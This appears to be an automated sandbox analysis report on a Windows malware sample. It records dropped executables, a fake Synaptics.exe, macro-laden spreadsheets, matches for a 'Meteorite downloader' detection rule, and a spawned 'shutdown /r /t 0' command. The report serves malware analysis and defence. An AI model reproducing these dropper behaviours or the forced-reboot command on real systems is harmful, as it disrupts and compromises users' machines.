Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DDEC70	8_2_00DDEC70
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DDA215	8_2_00DDA215
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DDA33B	8_2_00DDA33B
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DD468E	8_2_00DD468E
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DEA78C	8_2_00DEA78C
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DC47B8	8_2_00DC47B8
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DC6758	8_2_00DC6758
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DF88A0	8_2_00DF88A0
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DD598F	8_2_00DD598F
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DF7AD8	8_2_00DF7AD8
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DC7AEC	8_2_00DC7AEC
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DEAAEB	8_2_00DEAAEB
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DD8A6B	8_2_00DD8A6B
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DF2B50	8_2_00DF2B50
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DC3CD4	8_2_00DC3CD4
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DD4E37	8_2_00DD4E37
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DF2FFB	8_2_00DF2FFB
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DCBFB0	8_2_00DCBFB0
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D292C6	9_2_00D292C6
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D37DDC	9_2_00D37DDC
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D35011	9_2_00D35011
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D302F7	9_2_00D302F7
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D35282	9_2_00D35282
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D462A8	9_2_00D462A8
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D38253	9_2_00D38253
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D313FD	9_2_00D313FD
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D464D7	9_2_00D464D7
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D3742E	9_2_00D3742E
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D355B0	9_2_00D355B0
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D4E600	9_2_00D4E600
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D307A7	9_2_00D307A7
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D388AF	9_2_00D388AF
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D2D833	9_2_00D2D833
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D2395A	9_2_00D2395A
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D24A8E	9_2_00D24A8E
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D4EAAE	9_2_00D4EAAE
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D52BB4	9_2_00D52BB4
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D2FCCC	9_2_00D2FCCC
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D22EB6	9_2_00D22EB6
Source: C:\Windows\wic.exe	Code function: 11_2_00EAE758	11_2_00EAE758
Source: C:\Windows\wic.exe	Code function: 11_2_00FEE924	11_2_00FEE924
Source: C:\Windows\wic.exe	Code function: 11_2_00FCEDB4	11_2_00FCEDB4
Source: C:\Windows\wic.exe	Code function: 11_2_00F0F06E	11_2_00F0F06E
Source: C:\Windows\wic.exe	Code function: 11_2_00EB5851	11_2_00EB5851
Source: C:\Windows\wic.exe	Code function: 11_2_00EBB905	11_2_00EBB905
Source: C:\Windows\wic.exe	Code function: 11_2_00EB3BD0	11_2_00EB3BD0
Source: C:\Windows\wic.exe	Code function: 11_2_00EE5EC8	11_2_00EE5EC8
Source: C:\Windows\wic.exe	Code function: 11_2_00ED1E3F	11_2_00ED1E3F
Source: C:\Windows\cbas.exe	Code function: 18_2_00BAC0B0	18_2_00BAC0B0
Source: C:\Windows\cbas.exe	Code function: 18_2_00BB6001	18_2_00BB6001
Source: C:\Windows\cbas.exe	Code function: 18_2_00BBA1A3	18_2_00BBA1A3
Source: C:\Windows\cbas.exe	Code function: 18_2_00BB62BC	18_2_00BB62BC
Source: C:\Windows\cbas.exe	Code function: 18_2_00BCF3E4	18_2_00BCF3E4
Source: C:\Windows\cbas.exe	Code function: 18_2_00BAC355	18_2_00BAC355
Source: C:\Windows\cbas.exe	Code function: 18_2_00BBA404	18_2_00BBA404
Source: C:\Windows\cbas.exe	Code function: 18_2_00BC7592	18_2_00BC7592
Source: C:\Windows\cbas.exe	Code function: 18_2_00BCF511	18_2_00BCF511
Source: C:\Windows\cbas.exe	Code function: 18_2_00BB6642	18_2_00BB6642
Source: C:\Windows\cbas.exe	Code function: 18_2_00BBD7A0	18_2_00BBD7A0
Source: C:\Windows\cbas.exe	Code function: 18_2_00BB571E	18_2_00BB571E
Source: C:\Windows\cbas.exe	Code function: 18_2_00BA2880	18_2_00BA2880
Source: C:\Windows\cbas.exe	Code function: 18_2_00BB284A	18_2_00BB284A
Source: C:\Windows\cbas.exe	Code function: 18_2_00BB5A90	18_2_00BB5A90
Source: C:\Windows\cbas.exe	Code function: 18_2_00BC7CA9	18_2_00BC7CA9
Source: C:\Windows\cbas.exe	Code function: 18_2_00BA3DA0	18_2_00BA3DA0
Source: C:\Windows\cbas.exe	Code function: 18_2_00BB5D3A	18_2_00BB5D3A
Source: C:\Windows\cbas.exe	Code function: 18_2_00BB9F7B	18_2_00BB9F7B
Source: C:\Windows\cbas.exe	Code function: 18_2_00BCCF6D	18_2_00BCCF6D

Source: SiyGYB3T.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: SiyGYB3T.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)
Source: HTAGVDFUIE.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: HTAGVDFUIE.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)

Source: C:\Windows\cbas.exe	Code function: String function: 00BB4180 appears 51 times
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: String function: 00DF8246 appears 70 times
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: String function: 00DC1525 appears 37 times
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: String function: 00DF8213 appears 32 times
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: String function: 00DE3330 appears 37 times
Source: C:\Windows\wic.exe	Code function: String function: 00FCBA7E appears 113 times
Source: C:\Windows\wic.exe	Code function: String function: 00EA6486 appears 44 times
Source: C:\Windows\wic.exe	Code function: String function: 00E82320 appears 31 times
Source: C:\Windows\wic.exe	Code function: String function: 00FCB512 appears 49 times
Source: C:\Windows\wic.exe	Code function: String function: 00FCBB30 appears 35 times
Source: C:\Windows\wic.exe	Code function: String function: 00FCBA4A appears 265 times
Source: C:\Program Files (x86)\4.exe	Code function: String function: 00D3FFD0 appears 56 times
Source: C:\Program Files (x86)\4.exe	Code function: String function: 00D407A0 appears 31 times
Source: C:\Program Files (x86)\4.exe	Code function: String function: 00D3FEFC appears 42 times

Source: file.exe	Static PE information: Resource name: RT_VERSION type: Intel ia64 COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: 1[1].exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Source: 1[1].exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: 1.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Source: 1.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: 2[1].exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: 2[1].exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: 2.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: 2.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: ._cache_1.exe.1.dr	Static PE information: Resource name: RT_DIALOG type: COM executable for DOS
Source: Synaptics.exe.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Source: Synaptics.exe.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: RCXF181.tmp.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: HjsFu2ta.exe.3.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: RCXF308.tmp.3.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Source: RCXF308.tmp.3.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: RCXF376.tmp.3.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Source: RCXF376.tmp.3.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: ~$cache1.3.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: msslac[1].dll.11.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: msslac.dll.11.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: file.exe, 00000000.00000003.1708747349.0000000000760000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs file.exe
Source: file.exe, 00000000.00000002.1801134772.0000000000407000.00000004.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameDVarFileInfo$ vs file.exe
Source: file.exe, 00000000.00000000.1682697536.0000000000407000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameDVarFileInfo$ vs file.exe
Source: file.exe, 00000000.00000003.1708777064.0000000000751000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs file.exe
Source: file.exe, 00000000.00000003.1708870405.000000000075C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs file.exe
Source: file.exe, 00000000.00000003.1708813251.0000000000705000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs file.exe
Source: file.exe, 00000000.00000003.1747294140.0000000000780000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameDVarFileInfo$ vs file.exe

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: file.exe, type: SAMPLE	Matched rule: MALWARE_Win_Meteorite author = ditekSHen, description = Detects Meteorite downloader
Source: 3.3.Synaptics.exe.20c4000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Meteorite author = ditekSHen, description = Detects Meteorite downloader
Source: 0.0.file.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Meteorite author = ditekSHen, description = Detects Meteorite downloader
Source: 3.3.Synaptics.exe.20c4000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Meteorite author = ditekSHen, description = Detects Meteorite downloader
Source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Meteorite author = ditekSHen, description = Detects Meteorite downloader
Source: 3.3.Synaptics.exe.755cc8.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Meteorite author = ditekSHen, description = Detects Meteorite downloader
Source: 00000003.00000003.1718137982.00000000020C4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_Meteorite author = ditekSHen, description = Detects Meteorite downloader
Source: C:\Users\user\AppData\Local\Temp\RCXF376.tmp, type: DROPPED	Matched rule: MALWARE_Win_Meteorite author = ditekSHen, description = Detects Meteorite downloader
Source: C:\Users\user\AppData\Local\Temp\RCXF308.tmp, type: DROPPED	Matched rule: MALWARE_Win_Meteorite author = ditekSHen, description = Detects Meteorite downloader

Source: classification engine

Classification label: mal88.rans.troj.expl.evad.winEXE@26/36@5/4

Source: C:\Users\user\Desktop\._cache_2.exe

Code function: 8_2_00DCA149 GetLastError,FormatMessageW,LocalFree,

8_2_00DCA149

Source: C:\Windows\cbas.exe

Code function: 18_2_00BA23E0 Sleep,CreateToolhelp32Snapshot,Process32First,lstrcmpiA,OpenProcess,K32EnumProcessModules,K32GetModuleFileNameExA,CloseHandle,Process32Next,CloseHandle,

18_2_00BA23E0

Source: C:\Users\user\Desktop\._cache_2.exe

Code function: 8_2_00DDB49D CLSIDFromString,CoCreateInstance,

8_2_00DDB49D

Source: C:\Users\user\Desktop\._cache_2.exe

Code function: 8_2_00DDCB0A FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GlobalUnlock,GlobalFree,

8_2_00DDCB0A

Source: C:\Users\user\Desktop\file.exe

File created: C:\Program Files (x86)\1.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\1[1].exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7740:120:WilError_03
Source: C:\ProgramData\Synaptics\Synaptics.exe	Mutant created: \Sessions\1\BaseNamedObjects\Synaptics2X

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\AppData\Local\Temp\HjsFu2ta.exe

Jump to behavior

Source: Yara match	File source: 0.3.file.exe.764011.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.1.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1747294140.0000000000780000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.1709599751.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RCXF376.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\1.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\HjsFu2ta.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RCXF308.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXF181.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\1[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\2[1].exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\2.exe, type: DROPPED

Source: C:\Users\user\Desktop\._cache_2.exe	Command line argument: sfxname	8_2_00DDE674
Source: C:\Users\user\Desktop\._cache_2.exe	Command line argument: sfxstime	8_2_00DDE674
Source: C:\Users\user\Desktop\._cache_2.exe	Command line argument: STARTDLG	8_2_00DDE674
Source: C:\Program Files (x86)\4.exe	Command line argument: sfxname	9_2_00D3F05C
Source: C:\Program Files (x86)\4.exe	Command line argument: sfxstime	9_2_00D3F05C
Source: C:\Program Files (x86)\4.exe	Command line argument: STARTDLG	9_2_00D3F05C
Source: C:\Windows\cbas.exe	Command line argument: temp.txt	18_2_00BA6B80

Source: C:\Program Files (x86)\1.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 86%

Source: ._cache_1.exe	String found in binary or memory: -h --help give this help
Source: ._cache_1.exe	String found in binary or memory: -h --help give this help

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\1.exe "C:\Program Files (x86)\1.exe" 0
Source: C:\Program Files (x86)\1.exe	Process created: C:\Users\user\Desktop\._cache_1.exe "C:\Users\user\Desktop\._cache_1.exe" 0
Source: C:\Program Files (x86)\1.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\2.exe "C:\Program Files (x86)\2.exe" 0
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\3.exe "C:\Program Files (x86)\3.exe" 0
Source: C:\Program Files (x86)\2.exe	Process created: C:\Users\user\Desktop\._cache_2.exe "C:\Users\user\Desktop\._cache_2.exe" 0
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\4.exe "C:\Program Files (x86)\4.exe" 0
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\wic.exe "C:\Windows\wic.exe" 0
Source: C:\Windows\wic.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "shutdown /r /t 0"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\shutdown.exe shutdown /r /t 0
Source: unknown	Process created: C:\Windows\cbas.exe "C:\Windows\cbas.exe"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\1.exe "C:\Program Files (x86)\1.exe" 0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\2.exe "C:\Program Files (x86)\2.exe" 0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\3.exe "C:\Program Files (x86)\3.exe" 0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\4.exe "C:\Program Files (x86)\4.exe" 0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\wic.exe "C:\Windows\wic.exe" 0	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Process created: C:\Users\user\Desktop\._cache_1.exe "C:\Users\user\Desktop\._cache_1.exe" 0	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Process created: C:\Users\user\Desktop\._cache_2.exe "C:\Users\user\Desktop\._cache_2.exe" 0	Jump to behavior
Source: C:\Windows\wic.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "shutdown /r /t 0"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\shutdown.exe shutdown /r /t 0

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvbvm60.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vb6zz.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: shacct.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: idstore.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: wlidprov.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: provsvc.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_1.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_1.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_1.exe	Section loaded: textinputframework.dll	Jump to behavior
